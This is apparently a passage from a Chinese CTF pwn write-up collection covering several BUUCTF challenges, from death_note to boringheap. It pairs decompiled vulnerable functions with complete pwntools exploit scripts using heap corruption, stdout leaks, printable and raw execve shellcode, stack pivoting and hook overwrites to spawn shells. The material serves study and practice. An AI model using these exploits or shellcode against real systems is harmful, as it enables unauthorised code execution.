libc.sym['environ' ] li('environ = ' + hex (environ)) p2 = b'y\x00' + p32(environ) p2 += b'\x00' * 6 + p32(0 ) show(p2) r.recvuntil('27: ' ) stack_addr = u32(r.recv(4 )) li('stack_addr = ' + hex (stack_addr)) atoi_got = elf.got['atoi' ] p3 = b'27' + p32(stack_addr) + p32(0 ) p3 += p32(atoi_got + 0x22 ) + p32(stack_addr - 0x100 - 0xc ) delete(p3) system_addr = libc_base + libc.sym['system' ] p4 = p32(one_gadget) r.sendlineafter(menu, p4) r.interactive()
pwnable_death_note 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 unsigned int add_note () { int v1; int v2; int v3; int v4; int index; char name[80 ]; unsigned int v7; v7 = __readgsdword(0x14 u); printf ("Index :" ); index = read_int(); if ( index > 10 ) { puts ("Out of bound !!" ); exit (0 , v1, v3, v4); } printf ("Name :" ); read_input(name, 80 ); if ( is_printable(name) ) { note[index] = strdup(name); puts ("Done !" ); return __readgsdword(0x14 u) ^ v7; } else { puts ("It must be a printable name !" ); return exit (-1 , v2, v3, v4); } }
写shellcode,但是要32位可见字符,漏洞点在上面,index没有检测负数,导致oob
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 from pwn import *context(arch='i386' , os='linux' , log_level='debug' ) file_name = './death_note' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) context.terminal = ['tmux' ,'splitw' ,'-h' ] debug = 1 if debug: r = remote('node4.buuoj.cn' , 28974 ) else : r = process(file_name) elf = ELF(file_name) def dbg (): gdb.attach(r) def dbgg (): raw_input() menu = 'Your choice :' def add (index, content ): r.sendlineafter(menu, '1' ) r.sendlineafter('Index :' , str (index)) r.sendafter('Name :' , content) dbgg() shellcode = ''' /* execve(path='/bin///sh', argv=0, envp=0) */ /* push '/bin///sh\x00' */ push 0x68 push 0x732f2f2f push 0x6e69622f push esp pop ebx /*rewrite shellcode to get 'int 80'*/ push edx pop eax push 0x60606060 pop edx sub byte ptr[eax + 0x35] , dl sub byte ptr[eax + 0x35] , dl sub byte ptr[eax + 0x34] , dl push 0x3e3e3e3e pop edx sub byte ptr[eax + 0x34] , dl /*set zero to edx*/ push ecx pop edx /*set 0x0b to eax*/ push edx pop eax xor al, 0x40 xor al, 0x4b /*foo order,for holding the place*/ push edx pop edx push edx pop edx ''' add(-16 , asm(shellcode)+ b'\x6b\x40' ) r.interactive()
cscctf_2019_final_childrenheap 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 unsigned __int64 update () { char *v0; unsigned int index; __int64 id; _BYTE *ptr; unsigned __int64 result; char v5[24 ]; unsigned __int64 v6; v6 = __readfsqword(0x28 u); __printf_chk(1LL , "Index: " ); v0 = fgets(v5, 16 , stdin ); index = strtol(v0, 0LL , 10 ); if ( index > 0xF ) error("Invalid index!" ); id = (int )index; if ( !heap_ptr[index] || (__printf_chk(1LL , "Content: " ), ptr = (_BYTE *)heap_ptr[id], ptr[read(0 , ptr, (int )size_ptr[id])] = 0 , (result = __readfsqword(0x28 u) ^ v6) != 0 ) ) { error("Index is not allocated!" ); } return result; }
Off-by-null,但是禁用了fastbin
利用思路是利用off-by-null打overlapping,然后unsortedbin attack打max_fast,这样子再创建堆删除堆的时候就会直接进入fastbin了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) file_name = './cscctf_2019_final_childrenheap' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) context.terminal = ['tmux' ,'splitw' ,'-h' ] debug = 1 if debug: r = remote('node4.buuoj.cn' , 29984 ) else : r = process(file_name) elf = ELF(file_name) def dbg (): gdb.attach(r) def dbgg (): raw_input() menu = '>> ' def add (index, size, content ): r.sendlineafter(menu, '1' ) r.sendlineafter('Index: ' , str (index)) r.sendlineafter('Size: ' , str (size)) r.sendafter('Content: ' , content) def show (index ): r.sendlineafter(menu, '3' ) r.sendlineafter('Index: ' , str (index)) def edit (index, content ): r.sendlineafter(menu, '2' ) r.sendlineafter('Index: ' , str (index)) r.sendafter('Content: ' , content) def delete (index ): r.sendlineafter(menu, '4' ) r.sendlineafter('Index: ' , str (index)) dbgg() for i in range (4 ): add(i, 0xf8 , 'a' ) add(4 , 0xf8 , 'aaaa' ) add(5 , 0x68 , 'aaaa' ) add(6 , 0xf8 , 'aaaa' ) add(7 , 0x60 , 'aaaa' ) delete(0 ) p1 = b'a' * 0xf0 + p64(0x200 ) edit(1 , p1) delete(2 ) add(0 , 0xf8 , 'aaaa' ) show(1 ) malloc_hook = u64(r.recvuntil('\x7f' )[-6 :].ljust(8 , b'\x00' )) - 88 - 0x10 li('malloc_hook = ' + hex (malloc_hook)) libc = ELF('./libc-2.23.so' ) libc_base = malloc_hook - libc.sym['__malloc_hook' ] li('libc_base = ' + hex (libc_base)) _IO_list_all = libc_base + libc.sym['_IO_list_all' ] li('_IO_list_all = ' + hex (_IO_list_all)) one = [0x45216 , 0x4526a , 0xf02a4 , 0xf1147 ] one_gadget = one[2 ] + libc_base bin_sh = libc_base + libc.search(b'/bin/sh' ).__next__() IO_str_jumps_addr = libc.sym['_IO_file_jumps' ] + libc_base system_addr = libc_base + libc.sym['system' ] global_max_fast = libc_base + 0x3c67f8 li('global_max_fast = ' + hex (global_max_fast)) add(2 , 0x10 , 'a' ) p1 = p64(0 ) * 3 p1 += p64(0x71 ) + p64(0 ) p1 += p64(global_max_fast - 0x10 ) p1 = p1.ljust(0x88 , b'\x00' ) p1 += p64(0x71 ) edit(1 , p1) add(8 , 0x60 , 'aaa' ) delete(8 ) edit(1 , p64(0 ) * 3 + p64(0x71 ) + p64(malloc_hook - 0x23 )) add(9 , 0x60 , 'aaaa' ) p2 = b'\x00' * 0x13 + p64(one_gadget) add(10 , 0x60 , p2) delete(1 ) delete(2 ) r.interactive()
wdb_2020_1st_boom2 vm pwn
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 signed __int64 __fastcall main (__int64 a1, char **a2, char **a3) { signed __int64 *stack ; __int64 v5; __int64 v6; signed __int64 *v7; signed __int64 opcode; _QWORD *v9; signed __int64 *v10; signed __int64 *v11; _QWORD *v12; signed __int64 v13; void **v14; signed __int64 **v15; signed __int64 *v16; _BYTE *v17; signed __int64 *v18; signed __int64 *v19; signed __int64 *v20; signed __int64 *v21; signed __int64 *v22; signed __int64 *v23; signed __int64 *v24; signed __int64 *v25; signed __int64 *v26; signed __int64 *v27; signed __int64 *v28; signed __int64 *v29; signed __int64 *v30; signed __int64 *v31; signed __int64 *v32; signed __int64 *v33; signed __int64 result; char *code; signed __int64 *_sp; signed __int64 *_bp; signed __int64 reg; __int64 code_len; setbuf(stdout , 0LL ); setbuf(stdin , 0LL ); setbuf(stderr , 0LL ); stack = (signed __int64 *)malloc (0x40000 uLL); code = (char *)malloc (0x40000 uLL); printf ("MC execution system\nInput your code> " , 0LL , a2, a1); read(0 , code, 0x120 uLL); stack += 0x8000 ; _bp = stack ; --stack ; *stack = 0x1E LL; --stack ; *stack = 13LL ; --stack ; *stack = v5 - 1 ; --stack ; *stack = v6 + 8 ; _sp = stack - 1 ; *_sp = (signed __int64)stack ; code_len = 0LL ; while ( 1 ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { if ( ++code_len > 30 ) { opcode = 30LL ; } else { v7 = (signed __int64 *)code; code += 8 ; opcode = *v7; } if ( opcode ) break ; v9 = code; code += 8 ; reg = (signed __int64)&_bp[*v9]; } if ( opcode != 1 ) break ; v10 = (signed __int64 *)code; code += 8 ; reg = *v10; } if ( opcode != 6 ) break ; v11 = _sp - 1 ; *v11 = (signed __int64)_bp; _bp = v11; v12 = code; code += 8 ; _sp = &v11[-*v12]; } if ( opcode != 8 ) break ; v13 = (signed __int64)(_bp + 1 ); _bp = (signed __int64 *)*_bp; v14 = (void **)v13; _sp = (signed __int64 *)(v13 + 8 ); code = (char *)*v14; } if ( opcode != 9 ) break ; reg = *(_QWORD *)reg; } if ( opcode != 10 ) break ; reg = *(char *)reg; } if ( opcode != 11 ) break ; v15 = (signed __int64 **)_sp; ++_sp; **v15 = reg; } if ( opcode != 12 ) break ; v16 = _sp; ++_sp; v17 = (_BYTE *)*v16; *v17 = reg; reg = (char )*v17; } if ( opcode != 13 ) break ; --_sp; *_sp = reg; } if ( opcode != 14 ) break ; v18 = _sp; ++_sp; reg |= *v18; } if ( opcode != 15 ) break ; v19 = _sp; ++_sp; reg ^= *v19; } if ( opcode != 16 ) break ; v20 = _sp; ++_sp; reg &= *v20; } if ( opcode != 17 ) break ; v21 = _sp; ++_sp; reg = *v21 == reg; } if ( opcode != 18 ) break ; v22 = _sp; ++_sp; reg = *v22 != reg; } if ( opcode != 19 ) break ; v23 = _sp; ++_sp; reg = *v23 < reg; } if ( opcode != 20 ) break ; v24 = _sp; ++_sp; reg = *v24 > reg; } if ( opcode != 21 ) break ; v25 = _sp; ++_sp; reg = *v25 <= reg; } if ( opcode != 22 ) break ; v26 = _sp; ++_sp; reg = *v26 >= reg; } if ( opcode != 23 ) break ; v27 = _sp; ++_sp; reg = *v27 << reg; } if ( opcode != 24 ) break ; v28 = _sp; ++_sp; reg = *v28 >> reg; } if ( opcode != 25 ) break ; v29 = _sp; ++_sp; reg += *v29; } if ( opcode != 26 ) break ; v30 = _sp; ++_sp; reg = *v30 - reg; } if ( opcode != 27 ) break ; v31 = _sp; ++_sp; reg *= *v31; } if ( opcode != 28 ) break ; v32 = _sp; ++_sp; reg = *v32 / reg; } if ( opcode != 29 ) break ; v33 = _sp; ++_sp; reg = *v33 % reg; } if ( opcode == 30 ) result = *_sp; else result = -1LL ; return result; }
逆清楚指令之后就很清楚了,有越界这些漏洞,但是这题有个非常巧的地方是存在environ地址在sp + 1这里,那就可以运用reg = sp - reg
和reg = sp + reg
指令来让libc_start_main的地址落到reg这里,然后再push到sp,这样的话只需要再把reg设置成ogg和start_main的偏移然后直接利用reg = sp + reg
来使得真实的ogg落到reg上
最后mov sp, [reg]
,把reg的值放到sp中,也就是把start_main改成了ogg,然后就可以getshell了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) file_name = './wdb_2020_1st_boom2' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) context.terminal = ['tmux' ,'splitw' ,'-h' ] debug = 1 if debug: r = remote('node4.buuoj.cn' , 26164 ) else : r = process(file_name) elf = ELF(file_name) def dbg (): gdb.attach(r) def dbgg (): raw_input() dbgg() p1 = p64(14 ) p1 += p64(1 ) + p64(0xe8 ) p1 += p64(26 ) p1 += p64(13 ) p1 += p64(9 ) p1 += p64(13 ) p1 += p64(1 ) + p64(0x4f2c5 - 0x021b97 ) p1 += p64(25 ) p1 += p64(11 ) r.sendafter('Input your code> ' , p1) r.interactive()
ycb_2020_babypwn 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 int delete () { int result; unsigned int v1; unsigned __int64 v2; v2 = __readfsqword(0x28 u); if ( !dword_20203C ) return puts ("Null!" ); puts ("game's index:" ); _isoc99_scanf("%d" , &v1); if ( v1 <= 0x13 && heap_ptr[v1] ) { LODWORD(heap_ptr[v1]->flags) = 0 ; free ((void *)heap_ptr[v1]->name); result = puts ("Deleted!" ); } else { puts ("index error!" ); result = 0 ; } return result; }
name这里有uaf,但是这题没有show功能,add里面只能申请小于0x70的chunk,而且add的时候还会先创建一个0x28大小的chunk来管理name和message
漏洞利用是借助malloc_consolidate()
将fastbin放入small bin里面,这样的话就会出现libc在fd上,申请出来
改fd的低位到stout那里,利用double free打overlapping,申请到stdout那里,泄露出libc,然后double free打hook为ogg即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 from pwn import *context(arch='amd64' , os='linux' ) file_name = './ycb_2020_babypwn' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) context.terminal = ['tmux' ,'splitw' ,'-h' ] ''' debug = 1 if debug: r = remote('node4.buuoj.cn', 25310) else: r = process(file_name) elf = ELF(file_name) ''' def dbg (): gdb.attach(r) def dbgg (): raw_input() menu = "Your choice : " def add (size, name, message ): r.sendlineafter(menu, '1' ) r.sendlineafter("size of the game's name: " , str (size)) r.sendafter("game's name:" , name) r.sendafter("game's message:" , message) def delete (index ): r.sendlineafter(menu, '2' ) r.sendlineafter("game's index:" , str (index)) def attack (): add(0x68 , 'aaaa' , 'bbbb\n' ) add(0x68 , 'aaaa' , 'bbbb\n' ) add(0x68 , 'aaaa' , 'bbbb\n' ) add(0x68 , 'aaaa' , 'bbbb\n' ) add(0x28 , 'aaaa' , 'bbbb\n' ) delete(0 ) delete('4' *0x400 ) delete(4 ) add(0x68 , '\xdd\x25' , 'bbbb\n' ) delete(4 ) delete(2 ) delete(1 ) delete(2 ) add(0x68 , '\x30' , 'bbbb\n' ) for i in range (3 ): delete(4 ) add(0x68 , 'aaaa' , 'bbbb\n' ) delete(4 ) p1 = b'\x00' * 3 + p64(0 ) * 6 + p64(0xfbad1880 ) + p64(0 ) * 3 + b'\x00' r.sendlineafter(menu, '1' ) r.sendlineafter("size of the game's name: " , str (0x68 )) r.sendafter("game's name:" , p1) r.send('a\n' ) leak_addr = u64(r.recvuntil('\x7f' )[-6 :].ljust(8 , b'\x00' )) li('leak_addr = ' + hex (leak_addr)) libc = ELF('./libc-2.23.so' ) libc_base = leak_addr - libc.sym['_IO_2_1_stderr_' ] - 192 li('libc_base = ' + hex (libc_base)) malloc_hook = libc_base + libc.sym['__malloc_hook' ] one = [0x45216 , 0x4526a , 0xf02a4 , 0xf1147 ] one_gadget = one[2 ] + libc_base delete(3 ) delete(2 ) delete(3 ) add(0x68 , p64(malloc_hook - 0x23 ), 'bbbb\n' ) for i in range (2 ): add(0x68 , 'aaaa' , 'bbbb\n' ) p2 = b'\x00' * 0x13 + p64(one_gadget) add(0x68 , p2, 'bbbb\n' ) delete(3 ) delete(3 ) while True : try : r = remote('node4.buuoj.cn' , 25310 ) attack() r.sendline('cat flag' ) r.interactive() break except : r.close()
de1ctf_2019_a+b 这样子就能直接cat flag了
1 2 3 4 5 6 #include <stdlib.h> int main (int argc, char **argv) {system("cat flag" ); return 0 ;}
csaw_pilot 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 __int64 __fastcall main (int a1, char **a2, char **a3) { __int64 v3; __int64 v4; __int64 v5; __int64 v6; __int64 v7; __int64 v8; __int64 v9; __int64 v10; __int64 v11; __int64 v12; char buf[32 ]; setvbuf (stdout, 0LL , 2 , 0LL ); setvbuf (stdin, 0LL , 2 , 0LL ); v3 = std::operator <<<std::char_traits<char >>(&std::cout, "[*]Welcome DropShip Pilot..." ); std::ostream::operator <<(v3, &std::endl<char ,std::char_traits<char >>); v4 = std::operator <<<std::char_traits<char >>(&std::cout, "[*]I am your assitant A.I...." ); std::ostream::operator <<(v4, &std::endl<char ,std::char_traits<char >>); v5 = std::operator <<<std::char_traits<char >>(&std::cout, "[*]I will be guiding you through the tutorial...." ); std::ostream::operator <<(v5, &std::endl<char ,std::char_traits<char >>); v6 = std::operator <<<std::char_traits<char >>( &std::cout, "[*]As a first step, lets learn how to land at the designated location...." ); std::ostream::operator <<(v6, &std::endl<char ,std::char_traits<char >>); v7 = std::operator <<<std::char_traits<char >>( &std::cout, "[*]Your mission is to lead the dropship to the right location and execute sequence of instructions to save Marines & Medics..." ); std::ostream::operator <<(v7, &std::endl<char ,std::char_traits<char >>); v8 = std::operator <<<std::char_traits<char >>(&std::cout, "[*]Good Luck Pilot!...." ); std::ostream::operator <<(v8, &std::endl<char ,std::char_traits<char >>); v9 = std::operator <<<std::char_traits<char >>(&std::cout, "[*]Location:" ); v10 = std::ostream::operator <<(v9, buf); std::ostream::operator <<(v10, &std::endl<char ,std::char_traits<char >>); std::operator <<<std::char_traits<char >>(&std::cout, "[*]Command:" ); if ( read (0 , buf, 0x40 uLL) > 4 ) return 0LL ; v11 = std::operator <<<std::char_traits<char >>(&std::cout, "[*]There are no commands...." ); std::ostream::operator <<(v11, &std::endl<char ,std::char_traits<char >>); v12 = std::operator <<<std::char_traits<char >>(&std::cout, "[*]Mission Failed...." ); std::ostream::operator <<(v12, &std::endl<char ,std::char_traits<char >>); return 0xFFFFFFFF LL; }
溢出,给了buf地址,直接ret2shellcode,长度要小于24,超过24会因为push原因造成shellcode执行失败
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) file_name = './pilot' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) context.terminal = ['tmux' ,'splitw' ,'-h' ] debug = 1 if debug: r = remote('node4.buuoj.cn' , 29795 ) else : r = process(file_name) elf = ELF(file_name) def dbg (): gdb.attach(r) def dbgg (): raw_input() dbgg() r.recvuntil('0x' ) shell = int (r.recv(12 ), 16 ) li('shell = ' + hex (shell)) shellcode = b'\x6a\x3b\x58\x99\x52\x5e\x48\xb9\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x51\x54\x5f\x0f\x05' p1 = shellcode.ljust(0x28 , b'\x00' ) + p64(shell) r.sendafter('Command:' , p1) r.interactive()
ciscn_2019_ne_3 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 int __cdecl main (int argc, const char **argv, const char **envp) { int Num; size_t v4; int buf[21 ]; buf[18 ] = (int )&argc; memset (buf, 0 , 0x3C u); init(); __printf_chk(1 , "Welcome to The Simple Trial" ); readName(); __printf_chk(1 , "Please set the length of password: " ); Num = readNum(); if ( Num > 0x20 ) { puts ("segmentation fault (core dumped)" ); sleep(1u ); exit (0 ); } v4 = Num; buf[1 ] = Num; __printf_chk(1 , "Now, Say password(%u):" ); read(0 , buf, v4); puts ("well, please contiune" ); return 0 ; }
-1可以溢出,但是在最后esp会被改掉
1 2 3 4 5 6 7 8 9 .text:080487A8 83 C4 10 add esp, 10h .text:080487AB B8 00 00 00 00 mov eax, 0 .text:080487B0 8D 65 F4 lea esp, [ebp-0Ch] .text:080487B3 59 pop ecx .text:080487B4 5B pop ebx .text:080487B5 5F pop edi .text:080487B6 5D pop ebp .text:080487B7 8D 61 FC lea esp, [ecx-4] .text:080487BA C3 retn
溢出的时候控制ecx到bss上,输入num的时候可以在bss上赋值,所以可以在bss上构造rop
但是正常的rop输出libc会失败,看发一下hav1k师傅的wp发现是栈的原因,需要抬高栈
所以后续就是栈迁移到更高的地方,写rop输出libc然后getshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 from pwn import *from time import sleepcontext(arch='amd64' , os='linux' , log_level='debug' ) file_name = './ciscn_2019_ne_3' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) context.terminal = ['tmux' ,'splitw' ,'-h' ] debug = 1 if debug: r = remote('node4.buuoj.cn' , 28625 ) else : r = process(file_name) elf = ELF(file_name) def dbg (): gdb.attach(r) def dbgg (): raw_input() dbgg() r.sendlineafter(':' , 'a' * 8 ) puts_got = elf.got['puts' ] puts_plt = elf.plt['puts' ] read_plt = elf.plt['read' ] main_addr = elf.sym['main' ] bss_addr = 0x804a060 p2 = b'-1\x00\x00' p2 += p32(0x80486D0 ) + p32(bss_addr) + p32(0x100 ) r.sendafter('Please set the length of password: ' , p2) p1 = b'a' * (0x54 - 8 - 4 ) + p32(bss_addr + 8 ) r.sendlineafter(':' , p1) pop_ebp_ret = 0x0804881b leave_ret = 0x08048575 p3 = p32(pop_ebp_ret) + p32(bss_addr + 0x600 ) + p32(read_plt) + p32(leave_ret) p3 += p32(0 ) + p32(bss_addr + 0x600 + 4 ) + p32(0x100 ) sleep(1 ) r.send(p3) p4 = p32(puts_plt) + p32(pop_ebp_ret) + p32(puts_got) + p32(read_plt) + p32(0x08048819 ) + p32(0 ) + p32(bss_addr + 0x600 + 0x24 ) + p32(0x100 ) sleep(1 ) r.send(p4) puts_addr = u32(r.recvuntil("\xf7" )[-4 :]) li('puts_addr = ' + hex (puts_addr)) libc = ELF('./libc-2.27.so' ) libc_base = puts_addr - libc.sym['puts' ] li('libc_base = ' + hex (libc_base)) system_addr = libc_base + libc.sym['system' ] bin_sh = libc_base + libc.search(b'/bin/sh' ).__next__() p5 = p32(system_addr) + p32(0 ) + p32(bin_sh) sleep(1 ) r.send(p5) r.interactive()
ciscn_2019_final_6 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 signed __int64 __fastcall store_game (__int64 a1, __int64 a2) { Data *v3; char v4; int index; unsigned int size; if ( record ) { index = sub_F25(); if ( index >= 0 ) { puts ("any comment?" ); v4 = getchar(); if ( v4 == 121 || v4 == 89 ) { puts ("comment size?" ); size = read_input(); v3 = record; v3->comment = malloc (size); puts ("plz input comment" ); my_read(record->comment, size); } heap_ptr[index] = record; record = 0LL ; return index; } else { puts ("no more record" ); return 0xFFFFFFFF LL; } } else { puts ("nothing to store" ); return 0xFFFFFFFF LL; } }
漏洞是off-by-null,但是这题的堆结构比较复杂,利用堆风水,让comment这里的堆块可以被合并,然后打hook为ogg
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) file_name = './ciscn_final_6' li = lambda x : print ('\x1b[01;38;5;214m' + str (x) + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + str (x) + '\x1b[0m' ) context.terminal = ['tmux' ,'splitw' ,'-h' ] debug = 1 if debug: r = remote('node4.buuoj.cn' , 25028 ) else : r = process(file_name) elf = ELF(file_name) def dbg (): gdb.attach(r) def dbgg (): raw_input() menu = '> ' def new_game (): r.sendlineafter(menu, '1' ) r.sendlineafter("what's your name?" , 'z1r0' ) r.sendlineafter('input you ops count' , str (0 )) def load_game (index ): r.sendlineafter(menu, '2' ) r.sendlineafter("index?" , str (index)) def store_game (size, content ): r.sendlineafter(menu, '3' ) r.sendafter('any comment?' , 'Y' ) r.sendlineafter('comment size?' , str (size)) r.sendafter('plz input comment' , content) def delete (index ): r.sendlineafter(menu, '4' ) r.sendlineafter('index?' , str (index)) def show (): r.sendlineafter(menu, '5' ) def resume (size = 0 , content = b'' ): r.sendlineafter(menu, '0' ) r.sendlineafter('count\n' , str (size)) if size > 0 : r.sendafter('ops: ' , content) dbgg() new_game() store_game(0x420 , 'a\n' ) new_game() store_game(0x38 , 'a\n' ) delete(1 ) new_game() store_game(0x4f0 , 'a\n' ) new_game() p1 = b'a' * 0x30 + p64(0x4c0 ) store_game(0x38 , p1) delete(0 ) delete(1 ) new_game() resume(0x420 , 'deadbeef' ) r.sendlineafter(menu, '0' ) r.recvuntil('X:' ) l = int (r.recvuntil(',' , drop = True )) & 0xffffffff r.recvuntil('Y:' ) h = int (r.recvuntil(';' , drop = True )) & 0xffffffff li('l = ' + hex (l)) li('h = ' + hex (h)) leak_addr = (h << 32 ) + l li('leak_addr = ' + hex (leak_addr)) malloc_hook = leak_addr - 96 - 0x10 libc = ELF('./2.27/libc-2.27.so' ) libc_base = malloc_hook - libc.sym['__malloc_hook' ] li('libc_base = ' + hex (libc_base)) free_hook = libc_base + libc.sym['__free_hook' ] one = [0x4f2c5 , 0x4f322 , 0x10a38c ] one_gadget = one[1 ] + libc_base r.sendlineafter('count\n' , '0' ) delete(2 ) p1 = b'a' * 0x420 + p64(0 ) + p64(0x31 ) + b'a' * (0x20 ) + p64(0 ) + p64(0x21 ) + b'a' * 0x10 + p64(0 ) + p64(0x41 ) + p64(free_hook) + b'\n' store_game(0x470 + 0x30 , p1) new_game() store_game(0x30 , 'aaa\n' ) new_game() store_game(0x30 , p64(one_gadget) + b'\n' ) delete(0 ) r.interactive()
shanghai2019_boringheap 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 unsigned __int64 __fastcall edit (__int64 a1, __int64 a2) { int index; int size; unsigned __int64 v5; v5 = __readfsqword(0x28 u); puts ("Which one do you want to update?" ); index = (int )abs32(sub_B40("Which one do you want to update?" , a2)) % 30 ; if ( heap_ptr[index] && (dword_202040[index] == 32 || dword_202040[index] == 48 || dword_202040[index] == 64 ) ) { puts ("Where you want to update?" ); size = (int )abs32(sub_B40("Where you want to update?" , a2)) % dword_202040[index]; puts ("Input Content:" ); sub_AAB((char *)heap_ptr[index] + size, (unsigned int )(dword_202040[index] - size)); } else { puts ("Invalid Index!" ); } return __readfsqword(0x28 u) ^ v5; }
这里abs32溢出了,如果是0x80000000的话就是负数,如果此时%48,则会变成-32,所以可以edit修改自己chunk的头,并且可以溢出到fd
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) file_name = './pwn' li = lambda x : print ('\x1b[01;38;5;214m' + str (x) + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + str (x) + '\x1b[0m' ) context.terminal = ['tmux' ,'splitw' ,'-h' ] debug = 1 if debug: r = remote('node4.buuoj.cn' , 27592 ) else : r = process(file_name) elf = ELF(file_name) def dbg (): gdb.attach(r) def dbgg (): raw_input() menu = '5.Exit\n' def add (size, content ): r.sendlineafter(menu, '1' ) r.sendlineafter('3.Large\n' , str (size)) r.sendafter('Input Content:' , content) def show (index ): r.sendlineafter(menu, '4' ) r.sendlineafter('Which one do you want to view?' , str (index)) def delete (index ): r.sendlineafter(menu, '3' ) r.sendlineafter('Which one do you want to delete?' , str (index)) def edit (index, offset, content ): r.sendlineafter(menu, '2' ) r.sendlineafter('Which one do you want to update?' , str 